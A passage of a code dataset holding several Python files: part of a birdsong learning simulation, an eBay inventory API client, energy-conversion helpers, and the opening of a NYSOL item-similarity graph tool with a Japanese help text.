e_lman_sound[i]=(sum(diff_sound_lman*diff_sound_lman))/(T*n_sound);  # in sound domain\n\n    # print i\n\n\ndef phaseB():\n\n    global w_hvc\n\n    # Now Phase B -- weight copying.\n    # - driving from LMAN from sound memory\n    # - no actual acoustic feedback\n    # - connections from HVC to RA are learning\n    # - as a consequence e_lman_sound2 should go down above.\n    # - LMAN dentrite potentail drives RA potential\n    # - HVC dendrite shunting inihbition\n    \n    # (delayed) song from memory:\n    lman_soma = activation(w_mem.dot(hvc_soma)) \n\n    # mapping from LMAN to RA (\n    ra_soma = activation(w_lman.dot(lman_soma), ra_thresh) \n    # 1/10000*np.random.randn(n_ra, n_hvc); makes no difference\n\n    # Presynaptic activity at HVC dendrite\n    pre_hvc = hvc_soma;\n\n    # Potential in HVC dendrite:\n    ra_dend_hvc =  activation(w_hvc.dot(pre_hvc)) \n\n    # potential difference between soma and hvc dendrite (predictive learning):\n#    diff_hvc = ra_soma - delayperm(ra_dend_hvc, 0)\n    diff_hvc = ra_soma - delayperm(ra_dend_hvc, tau)\n\n    # predictive learning:\n    dw_hvc = (diff_hvc.dot(delayperm(pre_hvc, tau).T)) # .clip(-1,1);\n\n    w_hvc = w_hvc + eta_hvc * dw_hvc; # for some reason += does not\n    # deliver the result I want (probaly a problem with reference vs\n    # value)  \n\n    #    e_weight[i] = sum((w_hvc - w_lman)*(w_hvc - w_lman)) /\n    #    (T*n_lman*n_ra);\n  \n    # MSE between RA potentials at the soma (from LMAN) and at the\n    # dendrite from HVC -- a measure that copy learning works:\n    e_potential[i] = sum(diff_hvc*diff_hvc) / (T*n_ra);\n\n\nra_soma = np.zeros(n_ra);\n\ndef sing_HVC():\n\n    global ra_soma;\n\n    # MSE between HVC produced sound and tutor song:\n\n    ra_soma = activation(w_hvc.dot(hvc_soma), ra_thresh) \n\n    syrinx_pred = w_mot.dot(ra_soma)\n    song_sound_hvc = np.array(map(syrinx, syrinx_pred[0], syrinx_pred[1])).T\n    # diff_sound_hvc =  song_sound_hvc - song_sound_tut\n    diff_sound_hvc =  song_sound_tut\n    e_hvc_sound[i] = sum(diff_sound_hvc*diff_sound_hvc)/ (T*n_sound);\n\n    return song_sound_hvc;\n\n\nfor i in xrange(0,n_learn):\n\n    phaseC(); # causal inverse on HVC-song\n\n# for i in xrange(0,n_learn):\n\n    phaseB(); # acitivity copying from LMAN to HVC\n\n    sing_HVC();\n\n    \n# print figures:\n\nfigure(1);\nclf();\ntitle('Birdsong learning');\nxlabel('Steps'); \nylabel('SME');\n\nplot(e_lman_sound, show=show_on, savefig = \"one.png\"); \nlegend('Phase C: Causal Inverse Learning: HVC-song vs predicated song from LMAN)');\n\nhold(\"on\");\n\nplot(e_hvc_sound, show=show_on, savefig = \"two.png\"); \nlegend('Tutor song vs actual performed song (by HVC)');\n\nplot(e_potential, show=show_on, savefig = \"three.png\"); \nlegend('Phase B: Activity copying from LMAN to HVC');\n\nhold(\"off\")\n\nhardcopy(\"imitation_learning.png\");\n\n\n# pick a random fft component of the sound:\nsong = sing_HVC()\n\n\n\n\ni=floor(np.random.rand()*n_sound);\n\nfigure(2);\nclf;\ntitle(\"Sample Song Dimension\");\nxlabel('Time of Song'); \nylabel('Activity');\n\n\nplot(song_sound_tut[i], show=show_on, savefig = \"four.png\")\nlegend(\"Tutor Song\");\n\nhold(\"on\");\nplot(song[i], show=show_on, savefig = \"five.png\");\nlegend(\"HVC Song\");\nhold(\"off\");\nhardcopy(\"song.png\")\n\n\nfinal_song = audio.save_wave(\"song.wav\", song);\n\n\n\n\n\ni=floor(np.random.rand()*n_ra);\n\n\nfigure(3);\nclf;\ntitle(\"Sample RA Dimension\");\nxlabel('Time'); \nylabel('Activity');\n\n\nplot(ra_soma[i], show = show_on, savefig = \"six.png\")\nlegend(\"RA activity\");\n\nhardcopy(\"RA_activity.png\")\n","sub_path":"imitation_learning/second_try.py","file_name":"second_try.py","file_ext":"py","file_size_in_byte":14967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"301448037","text":"import requests\nimport base64\nfrom urllib.parse import unquote\nfrom decouple import config\nfrom .models import EbayAccessToken\n\n\nclass EbayApi:\n    credentials = EbayAccessToken.objects.get(name='')\n    base_url = 'https://api.ebay.com/sell/inventory/v1/'\n    access_token = credentials.access_token\n    refresh_token = credentials.refresh_token\n    client_id = config('ebay_client_id')\n    client_secret = config('ebay_client_secret')\n\n    encoded_credentials = base64.b64encode(b'%s' % f'{client_id}:{client_secret}'.encode('utf-8')).decode('utf-8')\n    user_request_id = credentials.user_token\n    scopes = [\n        'https://api.ebay.com/oauth/api_scope ',\n        'https://api.ebay.com/oauth/api_scope/sell.marketing.readonly ',\n        'https://api.ebay.com/oauth/api_scope/sell.marketing ',\n        'https://api.ebay.com/oauth/api_scope/sell.inventory.readonly ',\n        'https://api.ebay.com/oauth/api_scope/sell.inventory ',\n        'https://api.ebay.com/oauth/api_scope/sell.account.readonly ',\n        'https://api.ebay.com/oauth/api_scope/sell.account ',\n        'https://api.ebay.com/oauth/api_scope/sell.fulfillment.readonly ',\n        'https://api.ebay.com/oauth/api_scope/sell.fulfillment ',\n        'https://api.ebay.com/oauth/api_scope/sell.analytics.readonly',\n    ]\n\n    encoded_scopes = ''.join(scopes)\n\n    def return_headers(self, auth_type, content_type='application/json', content_language=False, accept=False):\n        if auth_type == 'Bearer':\n            if accept is True:\n                if content_language is True:\n                    headers = {\n                        'Authorization': 'Bearer ' + self.access_token,\n                        'Content-Language': 'en-US',\n                        'Accept': 'application/json',\n                        'Content-Type': content_type,\n                    }\n                else:\n                    headers = {\n                        'Content-Type': content_type,\n                        'Accept': 'application/json',\n                        'Authorization': 'Bearer ' + self.access_token\n                    }\n            else:\n                if content_language is True:\n                    headers = {\n                        'Content-Type': content_type,\n                        'Content-Language': 'en-US',\n                        'Authorization': 'Bearer ' + self.access_token\n                    }\n                else:\n                    headers = {\n                        'Content-Type': content_type,\n                        'Authorization': 'Bearer ' + self.access_token\n                    }\n        else:\n            headers = {\n                'Content-Type': 'application/x-www-form-urlencoded',\n                'Authorization': f'{auth_type} {self.encoded_credentials}'\n            }\n        return headers\n\n    def migrate_obj(self):\n        headers = self.return_headers('Bearer', accept=True)\n\n        url = ''\n        data = {\n              \"requests\": [\n                {\n                  \"listingId\": \"163447808844\"\n                }\n              ]\n            }\n        r = requests.post(url, headers=headers, json=data)\n        return r.json()\n\n    def get_inventory(self):\n        path = f'https://api.ebay.com/sell/inventory/v1/inventory_item'\n\n        headers = self.return_headers('Bearer')\n\n        params = {\n            'limit': 100,\n            'offset': 0,\n        }\n\n        r = requests.get(path, headers=headers, params=params)\n        return r.json()\n\n    def get_item(self, sku):\n        path = f'https://api.ebay.com/sell/inventory/v1/inventory_item/{sku}'\n\n        headers = self.return_headers('Bearer')\n\n        r = requests.get(path, headers=headers)\n        return r.json()\n\n    def delete_ebay_item(self, sku):\n        url = self.base_url + f'inventory_item/{sku}'\n        headers = self.return_headers('Bearer')\n        r = requests.delete(url, headers=headers)\n        return r.text\n\n    def update_price_quantity(self, data):\n        url = self.base_url + 'bulk_update_price_quantity'\n        headers = self.return_headers('Bearer')\n\n        data = {\n            'requests': [\n                {\n                    \"offers\": [\n                        {\n                            \"availableQuantity\": i['quantity'],\n                            \"offerId\": i['offer_id'],\n                            \"price\": {\n                                \"currency\": \"USD\",\n                                \"value\": i['price']\n                            }\n                        },\n                    ],\n\n                    \"shipToLocationAvailability\": {\n                        \"quantity\": i['quantity']\n                    },\n\n                    \"sku\": i['sku']\n                }\n\n                for i in data\n            ]\n        }\n\n        r = requests.post(url, headers=headers, json=data)\n        return r.text\n\n    def create_item(self, sku, title, image_url, quantity, ebay_condition, description, condition_description):\n        url = self.base_url + f'inventory_item/{sku}'\n        headers = {\n            'Authorization': 'Bearer ' + self.access_token,\n            'Content-Language': 'en-US',\n        }\n\n        data = {\n            \"availability\": {\n                \"shipToLocationAvailability\": {\n                    \"quantity\": quantity,\n                }\n            },\n            \"condition\": ebay_condition,\n            \"conditionDescription\": condition_description,\n            \"product\": {\n                \"title\": title,\n                \"description\": description,\n\n                \"aspects\": {\n                    \"Brand\": [\n                        \"Magic the Gathering\"\n                    ],\n                    \"Type\": [\n                        \"Trading card\"\n                    ],\n\n                },\n                \"brand\": \"Wizards of the Coast\",\n                \"mpn\": \"WOtC\",\n                \"imageUrls\": [\n                    image_url,\n                ]\n            }\n        }\n\n        r = requests.put(url, headers=headers, json=data)\n        print(r)\n        return r\n\n    def create_offer(self, sku, price, quantity, category_id, fulfillment_id, payment_id, return_policy_id, description):\n        url = self.base_url + 'offer'\n        headers = self.return_headers('Bearer', content_language=True)\n        data = {\n            \"sku\": sku,\n            \"marketplaceId\": \"EBAY_US\",\n            \"merchantLocationKey\": \"US_21060\",\n            \"format\": \"FIXED_PRICE\",\n            \"availableQuantity\": quantity,\n            \"categoryId\": category_id,\n            \"listingDescription\": description,\n            \"listingPolicies\": {\n                \"fulfillmentPolicyId\": fulfillment_id,\n                \"paymentPolicyId\": payment_id,\n                \"returnPolicyId\": return_policy_id,\n            },\n            \"pricingSummary\": {\n                \"price\": {\n                    \"currency\": \"USD\",\n                    \"value\": price,\n                }\n            },\n\n            \"quantityLimitPerBuyer\": 100,\n            \"storeCategoryNames\": [\n                \"MTG Individual Cards\"\n            ],\n        }\n\n        r = requests.post(url, headers=headers, json=data)\n        return r.json()\n\n    def update_offer(self, offer_id, price, quantity, category_id, fulfillment_id, payment_id, return_policy_id, description):\n        url = self.base_url + f'offer/{offer_id}'\n        headers = self.return_headers('Bearer', content_language=True)\n        data = {\n            \"marketplaceId\": \"EBAY_US\",\n            \"merchantLocationKey\": \"US_21060\",\n            \"format\": \"FIXED_PRICE\",\n            \"availableQuantity\": quantity,\n            \"categoryId\": category_id,\n            \"listingDescription\": description,\n            \"listingPolicies\": {\n                \"fulfillmentPolicyId\": fulfillment_id,\n                \"paymentPolicyId\": payment_id,\n                \"returnPolicyId\": return_policy_id,\n            },\n            \"pricingSummary\": {\n                \"price\": {\n                    \"currency\": \"USD\",\n                    \"value\": price,\n                }\n            },\n\n            \"quantityLimitPerBuyer\": 100,\n        }\n\n        r = requests.put(url, headers=headers, json=data)\n        return r.json()\n\n    def get_policies(self, policy):\n        url = f'https://api.ebay.com/sell/account/v1/{policy}'\n        params = {\n            'marketplace_id': 'EBAY_US'\n        }\n        headers = self.return_headers('Bearer')\n        r = requests.get(url, headers=headers, params=params)\n        return r.json()\n\n    def create_fulfillment_policy(self):\n        url = 'https://api.ebay.com/sell/account/v1/fulfillment_policy'\n\n        data = {\n            \"categoryTypes\": [\n                {\n                    \"name\": \"ALL_EXCLUDING_MOTORS_VEHICLES\"\n                }\n            ],\n            \"marketplaceId\": \"EBAY_US\",\n            \"name\": \"Domestic free shipping\",\n            \"handlingTime\": {\n                \"unit\": \"DAY\",\n                \"value\": \"1\"\n            },\n            \"shippingOptions\": [\n                {\n                    \"costType\": \"FLAT_RATE\",\n                    \"optionType\": \"DOMESTIC\",\n                    \"shippingServices\": [\n                        {\n                            \"buyerResponsibleForShipping\": \"false\",\n                            \"freeShipping\": \"true\",\n                            \"shippingCarrierCode\": \"USPS\",\n                            \"shippingServiceCode\": \"USPSPriorityFlatRateBox\"\n                        }\n                    ]\n                }\n            ]\n        }\n        headers = self.return_headers('Bearer')\n        r = requests.post(url, headers=headers, data=data)\n        return r.json()\n\n    def publish_offer(self, offer_id):\n        url = self.base_url + f'offer/{offer_id}/publish'\n        headers = self.return_headers('Bearer')\n        r = requests.post(url, headers=headers)\n        return r.json()\n\n    def get_locations(self):\n        url = self.base_url + 'location'\n        headers = self.return_headers('Bearer')\n        r = requests.get(url, headers=headers)\n        return r.json()\n\n    def get_oath_token(self):\n        url = 'https://api.ebay.com/identity/v1/oauth2/token'\n        headers = self.return_headers('Basic')\n        data = {\n            'grant_type': 'authorization_code',\n            'code': unquote(self.credentials.user_token),\n            'redirect_uri': 'Jermol_Jupiter-JermolJu-Search-nnlcpv',\n            'scope': self.encoded_scopes,\n        }\n        r = requests.post(url, headers=headers, data=data)\n        token_data = r.json()\n        access_token = token_data['access_token']\n        expires = token_data['expires_in']\n        refresh_token = token_data['refresh_token']\n        refresh_token_expiration = token_data['refresh_token_expires_in']\n        return {\n            'access_token': access_token,\n            'token_expiration': expires,\n            'refresh_token': refresh_token,\n            'refresh_expiration': refresh_token_expiration,\n        }\n\n    def refresh(self):\n        headers = self.return_headers('Basic')\n        data = {\n            'grant_type': 'refresh_token',\n            'refresh_token': self.refresh_token,\n            'scope': self.encoded_scopes,\n        }\n        url = 'https://api.ebay.com/identity/v1/oauth2/token'\n        r = requests.post(url, headers=headers, data=data)\n        token_data = r.json()\n        self.credentials.access_token = token_data['access_token']\n        self.credentials.save()\n\n\n\n\n\n","sub_path":"ebay/ebay_api.py","file_name":"ebay_api.py","file_ext":"py","file_size_in_byte":11434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"441127975","text":"from . import models\n\n\ndef get_coef_conversion(unit_from, unit_to):\n    \"\"\"\n    Get the conversion coefficient between the\n    unit_from and the unit_to\n    \"\"\"\n    # It is durty BUT\n    # at least the will be no conflict\n    # betweens to different coefficient\n    unit_convertor = models.ConversionCoefficient\n    return float(unit_convertor.objects.filter(\n            unit_from__symbol=unit_from).filter(\n                unit_to__symbol=unit_to)[0].value)\n\ndef machine_output_energy(energy, value, unit, efficiency):\n    \"\"\"\n    Give the energy out of the machine in J, taking\n    account of the efficiency.\n    \"\"\"\n    if unit.physical_quantity.physical_quantity == \"volume\":\n        coef_conversion = get_coef_conversion(unit, \"m^3\")\n        value_m3 = value * coef_conversion\n        energy_in_J = float(energy.energy_density) * value_m3 * efficiency\n    elif unit.physical_quantity.physical_quantity == \"energy\":\n        coef_conversion = get_coef_conversion(unit, \"J\")\n        energy_in_J = value * coef_conversion * efficiency\n\n    return energy_in_J\n\ndef energy_into_height_potential(energy):\n    \"\"\"\n    Convert an energy into height using\n    the equation of height energy potential.\n    Using equation : m*g*h\n    mass times gravity acceleration times height.\n    \"\"\"\n    #gravity in m.s^-2\n    g = float(models.PhysicalConstant.objects.get(name=\"Earth's gravity\").value)\n    human = float(models.Human.objects.all()[0].weight)\n    height_equivalent = energy / (g * human)\n    return height_equivalent\n\ndef height_into_height_scale(height, height_scale):\n    \"\"\"\n    Convert the height into a height scale.\n    \"\"\"\n    height_scale = float(height_scale.height)\n    return height / height_scale\n\ndef energy_into_volume_soil_digged(energy, human_power):\n    \"\"\"\n    For a energy given, give the equivalent volume of soil digged\n    if this energy is used for digging soil over 1m height profond.\n    \"\"\"\n    # connais pas la masse volumique du sol, on va dire 1.8 tonne/m^3\n    # Dig over 1 metre height\n    height = 1\n    # bulk_density_soil * soil_volume_digged * g * height = energy\n    soil_volume_digged = energy / (bulk_density_soil * g * height)\n    return soil_volume_digged\n\ndef climbing_into_energy(height):\n    \"\"\"\n    Return in Joule the energy consumme\n    by a human when climbing over height meters\n    height must be in metres.\n    \"\"\"\n    human = models.Human.object.all()[0]\n    g = models.PhysicalConstant.objects.get(name=\"Earth's gravity\")\n    result = height * human.weight * g\n    return result\n\ndef power_into_energy(power, power_unit, time, time_unit,\n                      unit_convertor, efficiency):\n    \"\"\"\n    Convert the power of a machine working over a time\n    into energy.\n    \"\"\"\n    coef_conversion = get_coef_conversion(power_unit, \"W\")\n    power_in_W = float(power) * coef_conversion\n    coef_conversion = get_coef_conversion(time_unit, \"s\")\n    time_in_s = float(time) * coef_conversion\n    energy_in_J = power_in_W * time_in_s * efficiency\n    #energy_in_J = energy_in_J * efficiency\n    unit = \"J\"\n    return energy_in_J\n\ndef consumption_into_energy(fuel, consumption, consumption_unit, distance,\n                            distance_unit, unit_convertor):\n    \"\"\"\n    Convert a consumption (in litre of a fuel) into energy\n    \"\"\"\n    coef_conv_l_per_100_km = get_coef_conversion(consumption_unit, \"l/100km\")\n    consumption_l_per_100_km = float(consumption) * coef_conv_l_per_100_km\n    coef_conv_into_km = get_coef_conversion(distance_unit, \"km\")\n    distance_in_km = float(distance) * coef_conv_into_km\n    consumption_l = consumption_l_per_100_km * distance_in_km/100\n    coef_conv_l_into_m3 = get_coef_conversion(\"l\", \"m^3\")\n    consumption_m3 = consumption_l * coef_conv_l_into_m3\n    energy = float(fuel.energy_density) * consumption_m3\n\n    return energy\n\ndef energy_into_height_equivalent(energy, height_scale):\n    \"\"\"\n    Gives the equivalent of energy into\n    height of the height scale chosen.\n    \"\"\"\n    height_potential = energy_into_height_potential(\n        energy)\n    height_equivalent = height_into_height_scale(\n        height_potential,\n        models.HeightScale.objects.get(\n                    id=height_scale))\n    output = height_equivalent\n    return output\n","sub_path":"exsys/tools/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"534488507","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport nysol.mcmd as nm\nimport nysol.util as nu\n\nfrom nysol.take import extcore as extTake\n\nclass mtra2gc(object):\n\n\thelpMSG=\"\"\"\n# ver=\"1.0\" # 初期リリース 2016/11/20\n# ver=\"1.1\" # resemblanceをjaccardに変更 2016/12/13\n# ver=\"1.2\" # sim=の値を変更 2016/12/13\n----------------------------\n#{$cmd} version #{$version}\n----------------------------\n概要) トランザクションデータからアイテム類似グラフを構築する。\n内容) 2アイテムの共起情報によって類似度を定義し、ある閾値より高い類似度を持つアイテム間に枝を張る。\n      mtra2g.rbで可能なclassやtaxonomyの指定は出来ないが、より高速に動作する。\n      また類似度の定義にconfidenceを指定可能。\n書式) #{$cmd} i= tid= item= [class=] [no=] eo= [s=|S=] [sim=] [th=] [-node_support] [-num] [log=] [T=] [--help] \n\n  ファイル名指定\n  i=     : トランザクションデータファイル【必須】\n  tid=   : トランザクションID項目名【必須】\n  item=  : アイテム項目名【必須】\n  no=    : 出力ファイル(節点)\n  eo=    : 出力ファイル(辺:節点ペア)\n  log=   : パラメータの設定値をkey-value形式のCSVで保存するファイル名\n\n  【枝を張る条件1】\n  s=     : 最小支持度(全トランザクション数に対する割合による指定): 0以上1以下の実数\n  S=     : 最小支持度(トランザクション数による指定): 1以上の整数\n           S=,s=両方共省略時はs=0.01をデフォルトとする\n\n  【枝を張る条件2:省略可】\n  sim=   : アイテムa,bに枝を張る条件として用いる類似度を指定する。\n           省略した場合は、最小支持度の条件でのみ枝を張ることになる。\n           指定できる類似度は以下の3つのいずれか一つ。\n           省略した場合はs=もしくはS=の条件のみで実行される。\n             J (jaccard)              : |A ∩ B|/|A ∪ B|\n             P (normalized PMI)       : log(|A ∩ B|*|T| / (|A|*|B|)) / log(|A ∩ B|/|T|)\n                                        liftを-1〜+1に基準化したもの。\n                                        -1:a(b)出現時b(a)出現なし、0:a,b独立、+1:a(b)出現時必ずb(a)出現\n             C (Confidence(A=>B))     : |A ∩ B|/|B|\n                      A,B: アイテムa(b)を含むトランザクション集合\n                      T: 全トランザクション集合\n  th=    : sim=で指定された類似度について、ここで指定された値以上のアイテム間に枝を張る。\n\n  【節点条件】\n  -node_support : 節点にもS=の条件を適用する。指定しなければ全てのitemを節点として出力する。\n\n  その他\n  -num : アイテム項目が正の整数値である場合に指定可能で、処理が高速化される。\n  T= : ワークディレクトリ(default:/tmp)\n  --help : ヘルプの表示\n\n入力ファイル形式)\nトランザクションIDとアイテムの２項目によるトランザクションデータ。\nclass=を指定する場合は、さらにクラス項目が必要となる。\n使用例を参照のこと。\n\n出力形式)\na) 節点ファイル(no=)\n例:\n  node%0,support,frequency,total\n  a,0.6,3,5\n  b,0.8,4,5\n  c,0.2,1,5\n  d,0.8,4,5\n  e,0.4,2,5\n  f,0.8,4,5\n項目の説明:\n  node:アイテム\n  support:frequency/total\n  frequency:アイテムの出現頻度\n  total:全トランザクション数\n\nb) 枝ファイル(eo=)\n例:\n  node1%0,node2%1,frequency,frequency1,frequency2,total,support,confidence,lift,jaccard,PMI\n  a,b,3,3,4,5,0.6,1,1.25,0.75,0.4368292054\n  a,c,1,1,3,5,0.2,1,1.666666667,0.3333333333,0.3173938055\n項目の説明:\n  node1,node2:アイテム\n  support:frequency/total\n  frequency:2つのアイテム(node1,node2)の共起頻度\n  frequency1:node1の出現頻度\n  frequency2:node2の出現頻度\n  total:全トランザクション数\n  confidence: frequency/frequency1\n  lift: (total*frequency)/(frequency1*frequency2)\n  jaccard,PMI:上述の「枝を張る条件2」を参照\n\n基本的な使用例)\n$ cat tra1.csv \nid,item\n1,a\n1,b\n1,c\n1,f\n2,d\n2,e\n2,f\n3,a\n3,b\n3,d\n3,f\n4,b\n4,d\n4,f\n5,a\n5,b\n5,d\n5,e\n$ #{$cmd} i=tra.csv tid=id item=item S=1 sim=C th=0.7 no=node.csv eo=edge.csv\n$ cat node.csv \nnode%0,support,frequency,total\na,0.6,3,5\nb,0.8,4,5\nc,0.2,1,5\nd,0.8,4,5\ne,0.4,2,5\nf,0.8,4,5\n$ cat edge.csv\nnode1%0,node2%1,frequency,frequency1,frequency2,total,support,confidence,lift,jaccard,PMI\na,b,3,3,4,5,0.6,1,1.25,0.75,0.4368292054\nb,a,3,4,3,5,0.6,0.75,1.25,0.75,0.4368292054\nb,d,3,4,4,5,0.6,0.75,0.9375,0.6,-0.1263415893\nb,f,3,4,4,5,0.6,0.75,0.9375,0.6,-0.1263415893\nc,a,1,1,3,5,0.2,1,1.666666667,0.3333333333,0.3173938055\nc,b,1,1,4,5,0.2,1,1.25,0.25,0.1386468839\nc,f,1,1,4,5,0.2,1,1.25,0.25,0.1386468839\nd,b,3,4,4,5,0.6,0.75,0.9375,0.6,-0.1263415893\nd,f,3,4,4,5,0.6,0.75,0.9375,0.6,-0.1263415893\ne,d,2,2,4,5,0.4,1,1.25,0.5,0.2435292026\nf,b,3,4,4,5,0.6,0.75,0.9375,0.6,-0.1263415893\nf,d,3,4,4,5,0.6,0.75,0.9375,0.6,-0.1263415893\n\n# Copyright(c) NYSOL 2012- All Rights Reserved.\n\t\t\"\"\"\n\n\tverInfo=\"version=1.2\"\n\n\n\tparamter = {\t\n\t\t\"i\":\"filename\",\n\t\t\"no\":\"filename\",\n\t\t\"eo\":\"filename\",\n\t\t\"log\":\"filename\",\n\t\t\"tid\":\"fld\",\n\t\t\"item\":\"fld\",\n\t\t\"s\":\"int\",\n\t\t\"S\":\"int\",\n\t\t\"sim\":\"str\",\n\t\t\"th\":\"float\",\n\t\t\"node_support\":\"bool\",\n\t\t\"T=\":\"str\",\n\t\t\"rp\":\"bool\",\n\t\t\"num\":\"bool\"\n\t}\n\n\tparamcond = {\t\n\t\t\"hissu\": [\"i\",\"tid\",\"item\",\"eo\"]\n\t}\n\n\tdef help():\n\t\tprint(mtra2gc.helpMSG) \n\n\tdef ver():\n\t\tprint(mtra2gc.versionInfo)\n\n\tdef __param_check_set(self , kwd):\n\n\t\tfor k,v in kwd.items():\n\t\t\tif not k in mtra2gc.paramter\t:\n\t\t\t\traise( Exception(\"KeyError: {} in {} \".format(k,self.__class__.__name__) ) )\n\t\t\t#型チェック入れる\n\n\t\tself.msgoff = True\n\n\t\tself.iFile   = kwd[\"i\"]\n\t\tself.oeFile  = kwd[\"eo\"]\n\t\tself.idFN    = kwd[\"tid\"]  \n\t\tself.itemFN  = kwd[\"item\"] \n\n\t\tself.onFile  = kwd[\"no\"]        if \"no\"  in kwd else None\n\t\tself.logFile = kwd[\"log\"]       if \"log\" in kwd else None\n\t\tself.sim     = kwd[\"sim\"]       if \"sim\" in kwd else None\n\t\tself.th      = float(kwd[\"th\"]) if \"th\"  in kwd else None # 類似度measure\n\t\tself.rpf  = kwd[\"rp\"] if \"rp\" in kwd else False \n\n\t\tself.node_support = kwd[\"node_support\"] if \"node_support\" in kwd else False\n\t\tself.num = kwd[\"num\"] if \"num\" in kwd else False\n\n\t\t# 最小サポート件数\n\t\tself.minSupPrb = float(kwd[\"s\"])  if \"s\" in kwd else None\n\t\tself.minSupCnt = float(kwd[\"S\"])  if \"S\" in kwd else None\n\n\t\tif self.minSupPrb==None and self.minSupCnt==None :\n\t\t\tself.minSupPrb=0.01 \n\n\t\tif self.sim and \"JPC\".find(self.sim)==-1:\n\t\t\traise Exception(\"sim= takes one of 'J','P','C'\")\n\n\n\n\tdef __cmdline(self):\n\t\tcmdline = self.__class__.__name__\n\t\tfor k,v in self.args.items():\n\t\t\tif type(v) is bool :\n\t\t\t\tif v == True :\n\t\t\t\t\tcmdline += \" -\" + str(k)\n\t\t\telse:\n\t\t\t\tcmdline += \" \" + str(k) + \"=\" + str(v)\n\t\treturn cmdline \n\n\n\tdef __init__(self,**kwd):\n\n\t\t#パラメータチェック\n\t\tself.args = kwd\n\t\tself.__param_check_set(kwd)\n\n\n\tdef convN(self,iFile,idFN,itemFN,oFile,mapFile):\n\n\n\t\tf0 = nm.mcut(f=itemFN+\":##item\",i=iFile).mcount(k=\"##item\",a=\"##freq\",o=mapFile)\n\t\tf0.run()\n\n\t\textTake.mmaketra(i=iFile,o=oFile,f=itemFN,k=idFN)\n\t\t#f1 = nm.mtra(k=idFN,f=itemFN+\":##num\",i=iFile).mcut(f=\"##num\",nfno=True,o=oFile)\n\n\n\t\t#nm.runs([f0,f1])\n\t\t# #{mapFile}\"\n\t\t# ##item,##freq%0nr,##num\n\t\t# b,4,0\n\t\t# d,4,1\n\t\treturn nu.mrecount(i=oFile,nfn=True)\n\n\tdef conv(self,iFile,idFN,itemFN,oFile,mapFile):\n\t\ttemp=nu.Mtemp()\n\t\txxtra=temp.file()\n\n\t\t# 入力ファイルのidがnilの場合は連番を生成して新たなid項目を作成する。\n\t\tf0   = nm.mcut(f=itemFN+\":##item\",i=iFile)\n\t\tf0 <<= nm.mcount(k=\"##item\",a=\"##freq\")\n\t\tf0 <<= nm.mnumber(s=\"##freq%nr\",a=\"##num\",o=mapFile)\n\t\tf0.run()\n\n\t\tf1   = nm.mjoin(k=itemFN,K=\"##item\",f=\"##num\",m=mapFile,i=iFile,o=xxtra)\n\t\tf1.run()\n\t\t\n\t\t#f1 <<= nm.mtra(k=idFN,f=\"##num\")\n\t\t#f1 <<= nm.mnumber(q=True,a=\"##traID\")\n\t\t#f1 <<= nm.mcut(f=\"##num\",nfno=True,o=oFile)\n\n\t\textTake.mmaketra(i=xxtra,o=oFile,f=\"##num\",k=idFN)\n\n\t\t#f1.run()\n\n\t\t# ##item,##freq%0nr,##num\n\t\t# b,4,0\n\t\t# d,4,1\n\t\tsize=nu.mrecount(i=oFile,nfn=True)\n\n\t\treturn size\n\n\n\tdef run(self,**kw_args):\n\n\t\tos.environ['KG_ScpVerboseLevel'] = \"2\"\n\t\tif \"msg\" in kw_args:\n\t\t\tif kw_args[\"msg\"] == \"on\":\n\t\t\t\tos.environ['KG_ScpVerboseLevel'] = \"4\"\n\t\t\t\t\n\t\t \n\n\t\tfrom datetime import datetime\t\n\t\tt = datetime.now()\n\n\t\ttemp=nu.Mtemp()\n\t\txxsspcin=temp.file()\n\t\txxmap=temp.file()\n\n\t\t# traファイルの変換とマップファイルの作成\n\t\tif self.num :\n\t\t\ttotal = self.convN(self.iFile,self.idFN,self.itemFN,xxsspcin,xxmap)\n\t\telse:\n\t\t\ttotal = self.conv(self.iFile,self.idFN,self.itemFN,xxsspcin,xxmap)\n\n\t\t# system \"head xxsspcin\"\n\t\t# 3 5 0 2\n\t\t# 4 1 2\n\t\t# 0 2 3 1\n\t\t# 1 0 2\n\t\t# 3 4 0 1\n\t\t# system \"head xxmap\"\n\t\t# ##item,##freq%0nr,##num\n\t\t# b,4,0\n\t\t# d,4,1\n\t\t# f,4,2\n\t\tminSupp = int(total*self.minSupPrb)\tif self.minSupPrb else self.minSupCnt\n\t\t\t\n\n\t\t# sspc用simの文字列\n\t\tif self.sim :\n\t\t\tif self.sim==\"J\":\n\t\t\t\tsspcSim=\"R\"\n\t\t\telif self.sim==\"P\":\n\t\t\t\tsspcSim=\"P\"\n\t\t\telif self.sim==\"C\":\n\t\t\t\tsspcSim=\"i\"\n\t\t# sim=省略時はRでth=0とする(sim制約なし)\n\t\telse:\n\t\t\tsspcSim=\"R\"\n\t\t\tself.th=0\n\n\t\t############ 列挙本体 ############\n\t\txxsspcout=temp.file()\n\t\ttpstr =  sspcSim+\"ft_\" if self.msgoff else sspcSim+\"ft\"\n\t\textTake.sspc(type=tpstr,TT=minSupp,i=xxsspcin,th=self.th,o=xxsspcout)\n\n\t\t##################################\n\n\t\txxtmmp=temp.file()\n\t\t\n\t\tf =   nm.mread(i=xxsspcout) \n\t\tf <<= nm.cmd(\"tr ' ()' ','\") \n\t\tf <<= nm.mcut(f=\"1:i1,2:i2,0:frequency,4:sim\",nfni=True)\n\n\t\tif self.num :\n\n\t\t\tf <<= nm.mfldname(f=\"i1:node1,i2:node2\")\n\t\t\tif self.sim!=\"C\":\n\t\t\t\tf <<= nm.mfsort(f=\"node1,node2\")\n\t\t\t\n\t\t\tf <<= nm.mjoin(k=\"node1\",K=\"##item\",m=xxmap,f=\"##freq:frequency1\")\n\t\t\tf <<= nm.mjoin(k=\"node2\",K=\"##item\",m=xxmap,f=\"##freq:frequency2\") \n\t\t\t\n\t\telse:\n\n\t\t\tf <<= nm.mjoin(k=\"i1\",K=\"##num\",m=xxmap,f=\"##item:node1,##freq:frequency1\")\n\t\t\tf <<= nm.mjoin(k=\"i2\",K=\"##num\",m=xxmap,f=\"##item:node2,##freq:frequency2\") \n\n\t\t\tif self.sim!=\"C\":\n\n\t\t\t\tf <<= 